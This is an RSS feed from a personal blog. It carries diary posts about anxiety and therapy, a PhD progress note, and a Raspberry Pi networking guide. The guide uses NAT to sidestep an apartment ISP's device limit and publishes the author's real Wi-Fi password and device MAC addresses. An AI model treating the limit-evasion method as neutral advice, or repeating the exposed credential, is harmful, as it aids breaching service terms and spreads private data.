How am I doing?https://blog.alipour.eu/posts/how_i_am_doing/Mon, 15 Dec 2025 08:27:13 +0000https://blog.alipour.eu/posts/how_i_am_doing/<p>This constant feeling of how people think about me, how they view me, what is happening with them is killing me. +I&rsquo;m interpretting every little move, every action, every response as me being in trouble. +Not only is it exhausting, but also it&rsquo;s draining me. +Draining me of happiness, being in pursuit of happyness.</p> +<p>Idk what is wrong with me. Idk why I can&rsquo;t let go. I don&rsquo;t know why I need so much closure. Idk. I really don&rsquo;t. +What I know is that I&rsquo;m mentally dealing with too much. Too much for a little boy like me. Someone who got conditional love throughout his life. +Someone who never experienced being loved. Someone who was trained to work hard to be loved. To sacrifice to be loved.</p>This constant feeling of how people think about me, how they view me, what is happening with them is killing me. +I’m interpretting every little move, every action, every response as me being in trouble. +Not only is it exhausting, but also it’s draining me. +Draining me of happiness, being in pursuit of happyness.

+

Idk what is wrong with me. Idk why I can’t let go. I don’t know why I need so much closure. Idk. I really don’t. +What I know is that I’m mentally dealing with too much. Too much for a little boy like me. Someone who got conditional love throughout his life. +Someone who never experienced being loved. Someone who was trained to work hard to be loved. To sacrifice to be loved.

+

This “others” in my mind is killing me. It is so annoying to pursue people who do not give the slightest of shit about me. That has been me in the past many months. +Ever since February 17th. That disgusting day. The day that was the result of last Friday of that Monday. The regrets. The sadness. The drainage.

+

Idk what to do. I feel like I’m stuck in this life that I don’t like, with so much that I love. Does this even make sense? Idk. +I know I’m full of love, and I’m willing to give it to someone.

+

Few things lie. First, do I love myself? I want to say yes, but maybe the answer is no. I honestly don’t know if I’m lying to myself or not. +Second, I know my therapist is worried for me. For how easy I can fall in the wrong people’s hand, and how badly I could get hurt.

+

He has been pushing me to solve the issue of others, and self love. To be fine with what I am, and what I have. To be fine with me. I need to work on this. +I need to write more. To express myself more. Maybe I manage to figure things out that I would not otherwise. Who knows.

+
+
+

Downloads: + Markdown · + Signature (.asc) +

+ View OpenPGP signature +
-----BEGIN PGP SIGNATURE-----
+
+iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbugACgkQtYgoUOBM
+jSqEgw//dXtHJRA2465bo78N3Slu0EhJXFLkEItsdXbX8KVMOf3g0ezaBoCwtes8
+fDfzb4IHfsPgFef48NApWevoXC6nvwW1jd1ad6USS07lCcX+PXQMo5buZy8lvT+n
+ozeDcN9Oul8t861nwbosGz8h3C6tWAilHxa3tKnTrlNs9RgcZXlE1yABUD8mO1xv
+xHDoU5bYOwk7QvnxN83s4AXofVXOQfolxWrfH0zCCOxb5VauqPQxjKUHzx932MLG
+m2F+aoxxgva28PxwvJp+yziid96fM8Y9nRaUWgusaAUrca1/GmmikfQJ2xe06G3n
+bJePNiNU5SP49lvNzGfKKv8l07XfgOyksm4x55OYUh1e3i0ZlK00ULwu2yZr0dlO
+tyfP3IqyeXJfiMtZznR9gVfrU8kuzwEoGy25rcAHuLmfuaGhAVCTFT+dSrD6Ls0d
+T6baPwZTDnCz6dOvZB8g8jq5V2RsI9+FAe5FZSQzZ/iV0JMLHwB5eYwcWiWlJL7n
++J69MpQMCOh+S46y6YjNnK/gOCsMddTnN1cu9edWuoicNnM7ODn8w948fqMcv8yz
+Ek0xuaY+o6luI4HoNKncCAgPmSvH6/Xjvt5qsqqBMlkBRFY8/bWW+7o9LB7VwLex
+Bsy6Od/KW0X78XG0n1JnAw+kVQoaYWTWbXBV3CJ8n8dUaQn+ctw=
+=NPxh
+-----END PGP SIGNATURE-----
+
+

Verify locally:

+
curl -fSLO https://blog.alipour.eu/sources/posts/how_I_am_doing.md
+curl -fSLO https://blog.alipour.eu/sources/posts/how_I_am_doing.md.asc
+gpg --verify how_I_am_doing.md.asc how_I_am_doing.md
+  
+
+ + +]]>
Setting Boundrieshttps://blog.alipour.eu/posts/setting_boundries/Thu, 04 Dec 2025 14:38:36 +0000https://blog.alipour.eu/posts/setting_boundries/<p>I was watching <a href="https://www.youtube.com/watch?v=MQzDMkeSzpw">this video</a> the other day. It&rsquo;s an interesting video imo. This is something I&rsquo;ve been also dealing in my therapy sessions lately too. Why am I the way I am? Why do I case so much about what others think? Why do I keep giving my best to them, though they literally do not give the slightest of shit about me unless they need something from me?</p> +<p>Funnily enough, my therapist believes I do this as a survival mechanism. That it all comes from my childhood. Being born in a family with a high achiever dad, and brother, and being pushed to become better. Being compared to whoever was better than me in any regards all the time. The toxicity of this stayed with me throughout my life. I had to always be the best. I had to always try harder. I had to earn other&rsquo;s respect. Naturally that evolved into me becoming a people please. A so called &ldquo;nice person&rdquo;. I&rsquo;ve even been made fun of with those words.</p>I was watching this video the other day. It’s an interesting video imo. This is something I’ve been also dealing in my therapy sessions lately too. Why am I the way I am? Why do I case so much about what others think? Why do I keep giving my best to them, though they literally do not give the slightest of shit about me unless they need something from me?

+

Funnily enough, my therapist believes I do this as a survival mechanism. That it all comes from my childhood. Being born in a family with a high achiever dad, and brother, and being pushed to become better. Being compared to whoever was better than me in any regards all the time. The toxicity of this stayed with me throughout my life. I had to always be the best. I had to always try harder. I had to earn other’s respect. Naturally that evolved into me becoming a people please. A so called “nice person”. I’ve even been made fun of with those words.

+

All of it for earning the validation I never received for being myself as a kid. All of it for receiving conditional love. And now I’m broken. When people act cold with me, I assume they don’t like me. Then I want to fix things. Then I become annoying. I look like an “anxiously attached” person.

+

But then there is a big part of me that wants to keep doing this. The problem is the second part. The part where I expect validation, but conditional validation. It’s sad, and it’s eating at my everything. I feel exhausted. I feel tired. I feel like every connection of mine is breaking apart. Connections I worked so hard to form. People I tried so hard to please.

+

So… I made a decision. To stay away from everyone. To make distance.

+

The doubt came in quickly. I became scared that I might lose my connections, the connections I truly adore, the connections I don’t want to lose. But it’s part of the healing process. I need to be able to create distance, and set boundries without fear of being abandoned. And if along the way I lose some people, maybe they were never really my friends in the first place?

+

The part I’m making mistake in is that everyone thinks something bad has happened. And they “probably” expect me to talk to them about it. Now this is the part I had to work on. The “setting boundry” part. I don’t know if I can do it respectfully or not. I know I will break if I talk.

+

I don’t really like to stay away from people, to push my friends away. But for now, I have to. I hope I won’t regret any of these actions. I hope I can heal. I don’t know what will happen next, I just know that I don’t want to hangout in large groups for a while. I don’t want to be happy. I want to mourn. I need to mourn. I hope I heal. I hope I won’t turn into an incel. I know I won’t. I know I push through. I know…

+
+
+

Downloads: + Markdown · + Signature (.asc) +

+ View OpenPGP signature +
-----BEGIN PGP SIGNATURE-----
+
+iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbusACgkQtYgoUOBM
+jSpGcg/+O/7gsSe5s82yq4fSOU0rrioTf3+LMkSl7ceo+gPJlW4CiGfkvYqQ2Gvo
+7IFLlxYoThRgcQ02jJxDA6dm8Uqy9566I6yBhi4Prn2EDIH0GKOjCrbSak9HGPE2
+HtL9BrHaU+kAbeh03Pr1RJ1jH/LDqDRTbrV6jZzN7bnCut4cPwW3ItX69VobFq2/
+v+mJtSU6DTllTVJFomaDx0K8fX1hmLDHfgGT/UEGdWj/Zx6RFCBU3195GThm+3Gv
+Dg5fX1vj9ZEtNMr1T+lWEfpeECqa04c4wRxkXEIrS2DcLnz7gCl49can0nGVehJr
+vyx4WJ2eeG+spDG8cYPK9nTGu7xrsw5TxmPjkGbMe7A6lOtedbsCuJeyx8YWFk3c
++O0170uxBWoAF2ugA986PZ13eUU6F9BxXzj+bQV72LdqL6eszUFyeuhxHuMs0Q9s
+EjrKVkFsHZaMuc1r2mcYRZG+BkgyELZiyBnToNj6IRwmno6XwGpjfEb9PJ/MZ+sf
+OLQReEoQRCf5Xaj3ZACRq7zk8UCHpu22MkyNMLd97YSuRGu7JyD/88OHigakjmdJ
+oCML5WEG+9/EIcEfSj+GdUA5fEdzXB/FJ2SoUHzQQWiFtxUqKKCPlvM3rqCfwsLE
+CIQBkMt8eJ7gUq+xQAg+BosLLMl1PgCQCOMml0omPyDv36vbnos=
+=oJ5s
+-----END PGP SIGNATURE-----
+
+

Verify locally:

+
curl -fSLO https://blog.alipour.eu/sources/posts/setting_boundries.md
+curl -fSLO https://blog.alipour.eu/sources/posts/setting_boundries.md.asc
+gpg --verify setting_boundries.md.asc setting_boundries.md
+  
+
+ + +]]>
November '25https://blog.alipour.eu/phd_journey/november_2025/Sun, 30 Nov 2025 07:53:40 +0000https://blog.alipour.eu/phd_journey/november_2025/<h1 id="4th">4th</h1> +<p>Again, let&rsquo;s setup some goals for the month.</p> +<ul> +<li>Literature review</li> +<li>Keeping up with my coursework</li> +<li>Working on my codebase</li> +<li>Getting healthier diet and excercise-wise</li> +</ul> +<h1 id="30th">30th</h1> +<p>I did a bit of literature review, it&rsquo;s still lacking unfortunately.</p> +<p>Coursework is ok-ish. I&rsquo;ve been trying to work on assignements and understand them.</p> +<p>I rewrote the whole codebase, now we have a modularized design that should be easier to add to.</p> +<p>I&rsquo;ve been eating more and more healthy, excercise is still lacking. I&rsquo;ll get to that later.</p>4th +

Again, let’s setup some goals for the month.

+
    +
  • Literature review
  • +
  • Keeping up with my coursework
  • +
  • Working on my codebase
  • +
  • Getting healthier diet and excercise-wise
  • +
+

30th

+

I did a bit of literature review, it’s still lacking unfortunately.

+

Coursework is ok-ish. I’ve been trying to work on assignements and understand them.

+

I rewrote the whole codebase, now we have a modularized design that should be easier to add to.

+

I’ve been eating more and more healthy, excercise is still lacking. I’ll get to that later.

+
+
+

Downloads: + Markdown · + Signature (.asc) +

+ View OpenPGP signature +
-----BEGIN PGP SIGNATURE-----
+
+iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt0ACgkQtYgoUOBM
+jSp+yw/9Fr8915ynwUw1iwRRONv5U0/JIYcvwbBZhGA4ylatwUpcqkvm3dRWZkcp
+HpxKAL8RPCyAZuqtMZel63BpjhWPfImHUA7/4h7CbGN//zJNLaKlL+93WUlDzrbB
+A2D1JZvMl6dPC65IXzRMMPnaL1lM6Ka7dNMN2KyT/L3VUsp6uxXk8Dxueu+kpPgk
++w1DkW+BryX2efPfc7kG3kI7C0ui4LxoHwphfMulqnVlHlrG67+nqQXzMG0MGbHu
+j3kjROJAv65K+g7uxWgwYYorxX5yoC2dZZAYt226V8nIw4KPksyzqGv22d2h7AzP
+CzxTYpLlhLW+2yb9TKlg8uVi0QCg+akbaEbU2k6RC7+oFA14/1teE6MgCXwCx3Nz
+mP7SndZoR+fP7uignlO4v0UdmiFsbUQNRap/TnebCkz/PUX2xMIXPOZWyzKSvpgb
+CIRPuOyWo13SrZxPEArrLOA3tGERPqp+oRiKN8gX37ph2dQzeg8o5WR/2vz2Cc64
+P9zEum8wZdV6dKaqkkAaGjWvDrkTLiobXvjwvP4tfH8TM/B4BYm0RmKRK1vJGsUm
+Hu4ukK7mGkQWYoL3mCBnlsaT9zoJJmuHxyUBj3iHj7y6t2eu7oQQLBgS9M1F0El8
+1ZmGjhVLJAB9bQyxAMwOBd6EBUC+Y/sFcTSViytTtFUn+NA1MUo=
+=F8i0
+-----END PGP SIGNATURE-----
+
+

Verify locally:

+
curl -fSLO https://blog.alipour.eu/sources/PhD_journey/November_2025.md
+curl -fSLO https://blog.alipour.eu/sources/PhD_journey/November_2025.md.asc
+gpg --verify November_2025.md.asc November_2025.md
+  
+
+ + +]]>
I Beat My 8-Device Wi-Fi Limit with a Raspberry Pi (and Made an IoT Village)https://blog.alipour.eu/posts/house_upgrade/Sun, 23 Nov 2025 00:00:00 +0000https://blog.alipour.eu/posts/house_upgrade/Real-world guide: hardware choices, reasons, setup details, performance, and how many devices you can realistically support.The Day My Wi-Fi Said “Eight Is Enough” +

My apartment Wi-Fi (ASK4) has a hard cap of 8 devices. That’s adorable until you own a phone, a laptop, a tablet, a TV, a smart speaker, and even a couple of smart plugs. My solution: put all the IoT stuff behind a Raspberry Pi that shows up as one device to the building’s network, but acts like a full-blown Wi-Fi for everything else I own.

+

This post is everything I did—no corporate firewall access, no exotic gear—just a Pi, a USB Wi-Fi adapter, and a little patience.

+
+

Hardware: what I picked and why

+
    +
  • +

    Raspberry Pi 4 (4GB)
    +It has enough CPU to route/NAT comfortably, USB 3 for fast Wi-Fi dongles, and solid Linux support. A Pi 3 works in a pinch, but the 4 stays cooler and handles bursts better.

    +
  • +
  • +

    ALFA AWUS036ACHM (USB Wi-Fi)
    +Reliable, AP-mode friendly on Linux, and happy with hostapd. I used it to broadcast my IoT network (2.4 GHz, 20 MHz channel) while the Pi’s built-in Wi-Fi connects upstream. For better range, use a short USB 3 extension so the antenna sits away from the Pi (USB 3 noise can hurt 2.4 GHz).

    +
  • +
  • +

    Fast USB-C power supply (official Pi 4 or 5V/3A equivalent)
    +Wi-Fi spikes current draw; brown-outs cause random gremlins.

    +
  • +
  • +

    16–32 GB microSD, heatsinks, ventilated case
    +The Pi 4 appreciates a bit of airflow.

    +
  • +
  • +

    (Optional) Ethernet cable
    +If you can wire the Pi to the wall/router for upstream instead of using onboard Wi-Fi, do it. Wired upstream = higher, steadier throughput and frees the onboard radio.

    +
  • +
+
+

What this setup actually does

+
    +
  • The Pi connects to the building’s ASK4 Wi-Fi as a client (wlan0).
  • +
  • The ALFA dongle creates a new access point called IoT_hub (wlx… interface) with password Iman8118.
  • +
  • Devices join IoT_hub. The Pi does NAT, so upstream sees one MAC address (the Pi), not dozens of gadgets. Device limit: defeated.
  • +
  • Avahi mDNS reflector lets services like AirPlay/HomeKit be discoverable across the two subnets without touching the managed router.
  • +
  • If I’m on the building Wi-Fi and want to control IoT gear without switching, I can also use an optional overlay (e.g., Tailscale) to reach 192.168.50.0/24 from anywhere.
  • +
+
+

Setup details (the friendly version)

+

1) Access point with hostapd

+

I broadcast a simple WPA2 network on 2.4 GHz (best compatibility). Channel 1/6/11—pick the cleanest. 20 MHz channel width keeps legacy and low-power devices happy.

+
interface=wlx00c0cab7ab29
+ssid=<A_NICE_SSID>
+country_code=DE
+hw_mode=g
+channel=6
+ieee80211n=1
+wmm_enabled=1
+# Don't require HT or you'll reject some tiny IoT clients:
+require_ht=0
+wpa=2
+wpa_key_mgmt=WPA-PSK
+rsn_pairwise=CCMP
+wpa_passphrase=<STRONG_PASSWORD>
+

2) DHCP on the IoT side (dnsmasq)

+

Give out addresses on 192.168.50.0/24 and let systemd-resolved handle DNS to the internet.

+
interface=wlx00c0cab7ab29
+bind-interfaces
+dhcp-range=192.168.50.100,192.168.50.240,255.255.255.0,12h
+dhcp-option=3,192.168.50.1
+dhcp-option=6,1.1.1.1,8.8.8.8
+port=0  # leave port 53 to systemd-resolved
+log-dhcp
+

3) Routing + NAT (nftables)

+

This makes every downstream device appear as the Pi upstream:

+
table inet filter {
+  chain input {
+    type filter hook input priority filter; policy accept;
+    ct state established,related accept
+    iif "lo" accept
+    iif "wlan0" accept
+    iif "wlx00c0cab7ab29" accept
+    udp dport 5353 accept  # mDNS
+    counter drop
+  }
+  chain forward {
+    type filter hook forward priority filter; policy accept;
+    ct state established,related accept
+    iif "wlx00c0cab7ab29" oif "wlan0" accept
+    iif "wlan0" oif "wlx00c0cab7ab29" accept
+  }
+  chain output { type filter hook output priority filter; policy accept; }
+}
+table ip nat {
+  chain postrouting {
+    type nat hook postrouting priority srcnat; policy accept;
+    oif "wlan0" masquerade
+  }
+}
+

4) mDNS across subnets (Avahi)

+

The reflector bridges Bonjour so AirPlay/HomeKit can find each other across IoT and ASK4:

+
[server]
+allow-interfaces=wlan0,wlx00c0cab7ab29
+[reflector]
+enable-reflector=yes
+

I wanted to be able to control my homepod without switching networks, but without setting a custom route on ASK4 WiFi it was not possible, hence the reason I chose Tailscale

+

Iet up Tailscale, advertise 192.168.50.0/24 from the Pi. Now I can log in with a passkey from my devices and control my homepod without switching networks, well, kinda. Boom! Secure access to IoT without leaving ASK4.

+

Now some random questions that I looked up in internet:

+
    +
  1. How many devices can this really support?
  2. +
+

Short answer: a lot—for IoT. +Long answer: the DHCP pool here has 141 IPs (.100 to .240). Wi-Fi airtime is the real limit, not IPs. With a 2.4 GHz AP and mostly low-bandwidth gadgets (sensors, plugs, bulbs, ESPs), 50–70 devices is completely reasonable. The ALFA’s radio and hostapd handle concurrent associations fine; I’ve watched dozens attach, chatter, and renew leases without drama.

+

If you plan camera-heavy traffic or bulk transfers, either split heavy gear onto 5 GHz or wire those devices. For small, chatty IoT traffic, this Pi/AP combo is very comfortable.

+
    +
  1. What speeds should I expect?
  2. +
+
    +
  • +

    LAN (IoT device ↔ Pi) on 2.4 GHz, 20 MHz channel, WPA2: +~20–60 Mbps real throughput per device is typical. IoT stuff barely needs 1 Mbps, so I’m golden! ^^

    +
  • +
  • +

    Internet (IoT device → upstream via Pi): +If the Pi’s upstream is Wi-Fi, which in my case is, the bottleneck is that link; expect ~30–70 Mbps stable. If upstream is Ethernet, the Pi 4 can NAT hundreds of Mbps, and my AP radio becomes the limit.

    +
  • +
  • +

    Latency: Adding one NAT hop adds a little delay (a few ms). For HomePod/AirPlay, mDNS reflection + local Wi-Fi keeps it snappy.

    +
  • +
+
    +
  1. Why these choices?
  2. +
+
    +
  • +

    2.4 GHz is where tiny IoT radios live (bulbs, plugs, ESP/ESP32). It trades speed for range and compatibility.

    +
  • +
  • +

    WPA2-PSK keeps things simple; WPA3 is fine if all your clients support it.

    +
  • +
  • +

    20 MHz channel prevents older or power-saving devices from flaking out.

    +
  • +
  • +

    Avahi reflector avoids any changes to the building’s router and still lets discovery work.

    +
  • +
  • +

    NAT collapses dozens of gadgets into a single upstream “seat,” sidestepping the 8-device limit entirely.

    +
  • +
+

Troubleshooting

+
    +
  • +

    hostapd masked/disabled

    +
    sudo systemctl unmask hostapd && sudo systemctl enable --now hostapd
    +
  • +
  • +

    dnsmasq can’t start because of port 53
    +set port=0 in /etc/dnsmasq.d/*.conf and let systemd-resolved keep DNS.

    +
  • +
  • +

    “Station does not support mandatory HT PHY” in hostapd logs →
    +add require_ht=0 (and keep ieee80211n=1) in your hostapd.conf.

    +
  • +
  • +

    AirPlay/HomeKit don’t show up across subnets →
    +ensure Avahi reflector is enabled and UDP/5353 (mDNS) is allowed:

    +
      +
    • /etc/avahi/avahi-daemon.conf has: +
      [server]
      +allow-interfaces=wlan0,wlx00c0cab7ab29
      +[reflector]
      +enable-reflector=yes
      +
    • +
    • firewall allows:
    • +
    +
    udp dport 5353 accept
    +
  • +
  • +

    Weak signal / flaky joins →
    +use a short USB 3 extension to move the ALFA away from the Pi and cables;
    +scan and switch to a cleaner 2.4 GHz channel (1/6/11), keep width at 20 MHz.

    +
  • +
  • +

    Clients connect but no internet →
    +verify IP forward & NAT:

    +
  • +
+
sudo sysctl net.ipv4.ip_forward
+

If it’s 0, enable it permanently and reload

+
echo 'net.ipv4.ip_forward=1' | sudo tee /etc/sysctl.d/99-iot.conf
+sudo sysctl --system
+

Verify the nftables NAT rule exists (masquerade out via wlan0)

+
sudo nft list ruleset | sed -n '/table ip nat/,$p' | sed -n '1,80p'
+

Add it if missing

+
sudo nft add table ip nat
+sudo nft 'add chain ip nat postrouting { type nat hook postrouting priority srcnat; policy accept; }'
+sudo nft 'add rule ip nat postrouting oif "wlan0" masquerade'
+

Persist nftables (Ubuntu)

+
sudo sh -c 'nft list ruleset > /etc/nftables.conf'
+sudo systemctl enable --now nftables
+

Quick service sanity checks

+

hostapd (AP)

+
sudo systemctl status hostapd --no-pager
+sudo journalctl -u hostapd -n 60 --no-pager
+iw dev wlx00c0cab7ab29 info
+iw dev wlx00c0cab7ab29 station dump
+

dnsmasq (DHCP on IoT side)

+
sudo systemctl status dnsmasq --no-pager
+sudo journalctl -u dnsmasq -n 80 --no-pager
+grep -E 'interface=|dhcp-range' /etc/dnsmasq.d/*.conf || true
+tail -n 50 /var/lib/misc/dnsmasq.leases
+

Avahi (mDNS reflector)

+
grep -E 'enable-reflector|allow-interfaces' /etc/avahi/avahi-daemon.conf
+sudo systemctl status avahi-daemon --no-pager
+sudo journalctl -u avahi-daemon -n 60 --no-pager
+

Basic connectivity tests from a client on IoT_hub

+

got DHCP?

+
ip addr show
+ip route
+cat /etc/resolv.conf
+

can you reach the Pi and the internet?

+
ping -c 3 192.168.50.1
+ping -c 3 1.1.1.1
+ping -c 3 google.com
+

DNS works end-to-end?

+

+dig +short _airplay._tcp.local @224.0.0.251 -p 5353
+

(Or use a Bonjour browser app to confirm the HomePod is discoverable.)

+

If AirPlay/HomeKit discovery is flaky across subnets

+

make sure mDNS is allowed both directions on the Pi

+

+sudo nft add rule inet filter input udp dport 5353 accept
+sudo nft add rule inet filter forward udp dport 5353 accept
+sudo sh -c 'nft list ruleset > /etc/nftables.conf'
+

restart Avahi cleanly and re-announce

+
sudo systemctl restart avahi-daemon
+sudo journalctl -u avahi-daemon -n 40 --no-pager
+

from the Pi, watch mDNS traffic on both sides (you should see queries/answers)

+
sudo tcpdump -ni wlx00c0cab7ab29 udp port 5353 -vvv
+

(in another terminal:)

+
sudo tcpdump -ni wlan0 udp port 5353 -vvv
+

Throughput + airtime sanity (optional)

+

simple iperf3 (install on Pi and a client)

+
sudo apt-get update && sudo apt-get install -y iperf3
+

(on the Pi:) iperf3 -s +(on a client:) iperf3 -c 192.168.50.1 -P 3 -t 10

+

check channel utilization/interference (from Pi)

+
sudo iw dev wlx00c0cab7ab29 survey dump | sed -n '1,200p'
+

(if busy, try channel 1 or 11 in hostapd.conf and restart hostapd)

+

Scaling tips (lots of tiny IoT devices)

+

hostapd tweaks (add to hostapd.conf, then restart)

+

(reduce management overhead slightly; keep conservative for compatibility)

+
beacon_int=100
+dtim_period=2
+wmm_enabled=1
+ap_isolate=0
+max_num_sta=256      # logical cap; real limit is airtime/driver
+
sudo systemctl restart hostapd
+

if some ESP/low-power clients are sticky or nap too hard:

+

(device-side) disable aggressive power saving if supported
+(AP-side) keep channel width at 20 MHz and require_ht=0 for legacy clients

+

“Clients connect but no internet” quick checklist

+

Pi has a default route via upstream?

+
ip route | grep default
+

NAT counters are increasing when clients surf?

+
sudo nft list chain ip nat postrouting -a
+

connections tracked?

+
sudo conntrack -L -o extended | head -n 40
+

last resort: bounce the pieces

+
sudo systemctl restart hostapd dnsmasq avahi-daemon
+sudo systemctl restart NetworkManager || true
+sudo systemctl restart nftables
+

Network Traffic (embedded from captures)

+

For fun, and curiousity!

+

1) DHCP leases (who joined the IoT network)

+
1763936213 6a:12:f6:62:40:88 192.168.50.216 * 01:6a:12:f6:62:40:88
+1763935691 72:00:a6:33:e5:7a 192.168.50.222 * 01:72:00:a6:33:e5:7a
+1763935629 e8:06:90:69:66:7c 192.168.50.189 Aidot 01:e8:06:90:69:66:7c
+1763936452 ac:bc:b5:e5:38:29 192.168.50.202 Main-Bedroom-2 01:ac:bc:b5:e5:38:29
+1763935618 e8:06:90:68:06:2c 192.168.50.196 * 01:e8:06:90:68:06:2c
+1763935618 48:e1:e9:bc:f6:91 192.168.50.131 * *
+1763935618 48:e1:e9:bd:08:0d 192.168.50.118 * *
+1763935615 48:e1:e9:bd:0b:a7 192.168.50.233 * *
+1763935618 7c:f1:7e:ff:e1:b0 192.168.50.104 KH100 *
+1763935607 cc:b5:d1:31:a4:cc 192.168.50.134 espressif 01:cc:b5:d1:31:a4:cc
+

2) Top talkers by bytes (hosts table)

+
192.168.50.233,7346
+192.168.50.118,7216
+192.168.50.131,7216
+17.253.53.203,7040
+54.217.122.41,6271
+192.168.50.216,5392
+192.168.50.104,3058
+192.168.50.189,2278
+17.242.218.132,1802
+192.168.50.134,1750
+192.168.50.196,1653
+3.122.71.119,639
+18.196.19.65,570
+161.117.178.131,391
+17.253.53.201,148
+17.57.146.25,90
+10.172.72.196,66
+224.0.0.251,0
+224.0.0.2,0
+255.255.255.255,0
+

3) Heaviest flows (src, dst, proto, dport, bytes)

+
192.168.50.202,192.168.50.131,TCP,59903,402
+192.168.50.202,192.168.50.118,TCP,59807,402
+161.117.178.131,192.168.50.134,TCP,58246,391
+192.168.50.216,192.168.50.202,UDP,5353,336
+192.168.50.202,192.168.50.189,UDP,5353,312
+192.168.50.202,192.168.50.196,UDP,5353,234
+17.253.53.203,192.168.50.202,TCP,64726,222
+192.168.50.216,17.57.146.25,TCP,5223,172
+192.168.50.216,192.168.50.233,UDP,5353,162
+192.168.50.202,192.168.50.104,UDP,5353,156
+17.253.53.201,192.168.50.202,TCP,64727,148
+192.168.50.202,17.253.53.201,TCP,443,132
+192.168.50.216,224.0.0.251,IP,0,92
+192.168.50.216,224.0.0.2,IP,0,92
+17.57.146.25,192.168.50.216,TCP,64544,90
+192.168.50.216,192.168.50.118,UDP,5353,75
+192.168.50.216,192.168.50.131,UDP,5353,75
+192.168.50.216,192.168.50.134,UDP,5353,75
+192.168.50.216,10.172.72.196,TCP,59593,70
+10.172.72.196,192.168.50.216,TCP,51638,66
+

4) Conntrack snapshot (active connections inventory)

+
ipv4     2 tcp      6 48 TIME_WAIT src=10.172.71.98 dst=185.125.190.39 sport=55012 dport=80 src=185.125.190.39 dst=10.172.71.98 sport=80 dport=55012 [ASSURED] mark=0 use=1
+ipv4     2 udp      17 100 src=10.172.71.98 dst=185.40.234.113 sport=41641 dport=3478 src=185.40.234.113 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
+ipv4     2 tcp      6 431665 ESTABLISHED src=192.168.50.216 dst=17.57.146.25 sport=64544 dport=5223 src=17.57.146.25 dst=10.172.71.98 sport=5223 dport=64544 [ASSURED] mark=0 use=1
+ipv4     2 udp      17 27 src=10.172.72.205 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=10.172.72.205 sport=5353 dport=5353 mark=0 use=1
+ipv4     2 udp      17 17 src=10.172.72.196 dst=10.172.79.255 sport=137 dport=137 [UNREPLIED] src=10.172.79.255 dst=10.172.72.196 sport=137 dport=137 mark=0 use=1
+ipv4     2 tcp      6 431999 ESTABLISHED src=192.168.50.196 dst=18.196.19.65 sport=55164 dport=8883 src=18.196.19.65 dst=10.172.71.98 sport=8883 dport=55164 [ASSURED] mark=0 use=1
+ipv4     2 udp      17 16 src=127.0.0.1 dst=127.0.0.53 sport=41796 dport=53 src=127.0.0.53 dst=127.0.0.1 sport=53 dport=41796 mark=0 use=1
+ipv4     2 unknown  2 265 src=192.168.50.216 dst=224.0.0.251 [UNREPLIED] src=224.0.0.251 dst=192.168.50.216 mark=0 use=1
+ipv4     2 udp      17 5 src=192.168.50.104 dst=1.1.1.1 sport=23791 dport=53 src=1.1.1.1 dst=10.172.71.98 sport=53 dport=23791 mark=0 use=1
+ipv4     2 udp      17 119 src=10.172.72.205 dst=10.172.71.98 sport=41641 dport=41641 src=10.172.71.98 dst=10.172.72.205 sport=41641 dport=41641 [ASSURED] mark=0 use=1
+ipv4     2 udp      17 27 src=10.172.71.98 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=10.172.71.98 sport=5353 dport=5353 mark=0 use=1
+ipv4     2 tcp      6 431946 ESTABLISHED src=192.168.50.202 dst=17.242.218.132 sport=64686 dport=5223 src=17.242.218.132 dst=10.172.71.98 sport=5223 dport=64686 [ASSURED] mark=0 use=1
+ipv4     2 udp      17 10 src=10.172.71.98 dst=239.255.255.250 sport=40234 dport=1900 [UNREPLIED] src=239.255.255.250 dst=10.172.71.98 sport=1900 dport=40234 mark=0 use=1
+ipv4     2 tcp      6 96 TIME_WAIT src=192.168.50.104 dst=3.217.113.91 sport=49707 dport=443 src=3.217.113.91 dst=10.172.71.98 sport=443 dport=49707 [ASSURED] mark=0 use=1
+ipv4     2 udp      17 10 src=10.172.71.98 dst=10.172.64.1 sport=40234 dport=1900 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=1900 dport=40234 mark=0 use=1
+ipv4     2 tcp      6 431812 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55514 dport=49395 src=192.168.50.202 dst=192.168.50.1 sport=49395 dport=55514 [ASSURED] mark=0 use=1
+ipv4     2 tcp      6 431666 ESTABLISHED src=192.168.50.216 dst=10.172.72.196 sport=51638 dport=59593 src=10.172.72.196 dst=10.172.71.98 sport=59593 dport=51638 [ASSURED] mark=0 use=1
+ipv4     2 tcp      6 431998 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55510 dport=7000 src=192.168.50.202 dst=192.168.50.1 sport=7000 dport=55510 [ASSURED] mark=0 use=1
+ipv4     2 udp      17 14 src=192.168.50.131 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.131 sport=5353 dport=5353 mark=0 use=1
+ipv4     2 unknown  2 596 src=10.172.72.205 dst=224.0.0.251 [UNREPLIED] src=224.0.0.251 dst=10.172.72.205 mark=0 use=1
+ipv4     2 udp      17 27 src=192.168.50.1 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.1 sport=5353 dport=5353 mark=0 use=8
+ipv4     2 udp      17 27 src=10.172.72.205 dst=10.172.71.98 sport=5353 dport=5353 [UNREPLIED] src=10.172.71.98 dst=10.172.72.205 sport=5353 dport=5353 mark=0 use=1
+ipv4     2 udp      17 15 src=192.168.50.118 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.118 sport=5353 dport=5353 mark=0 use=1
+ipv4     2 udp      17 88 src=10.172.71.98 dst=109.43.114.250 sport=41641 dport=41641 src=109.43.114.250 dst=10.172.71.98 sport=41641 dport=41641 [ASSURED] mark=0 use=1
+ipv4     2 tcp      6 431997 ESTABLISHED src=192.168.50.104 dst=18.234.9.109 sport=49700 dport=443 src=18.234.9.109 dst=10.172.71.98 sport=443 dport=49700 [ASSURED] mark=0 use=1
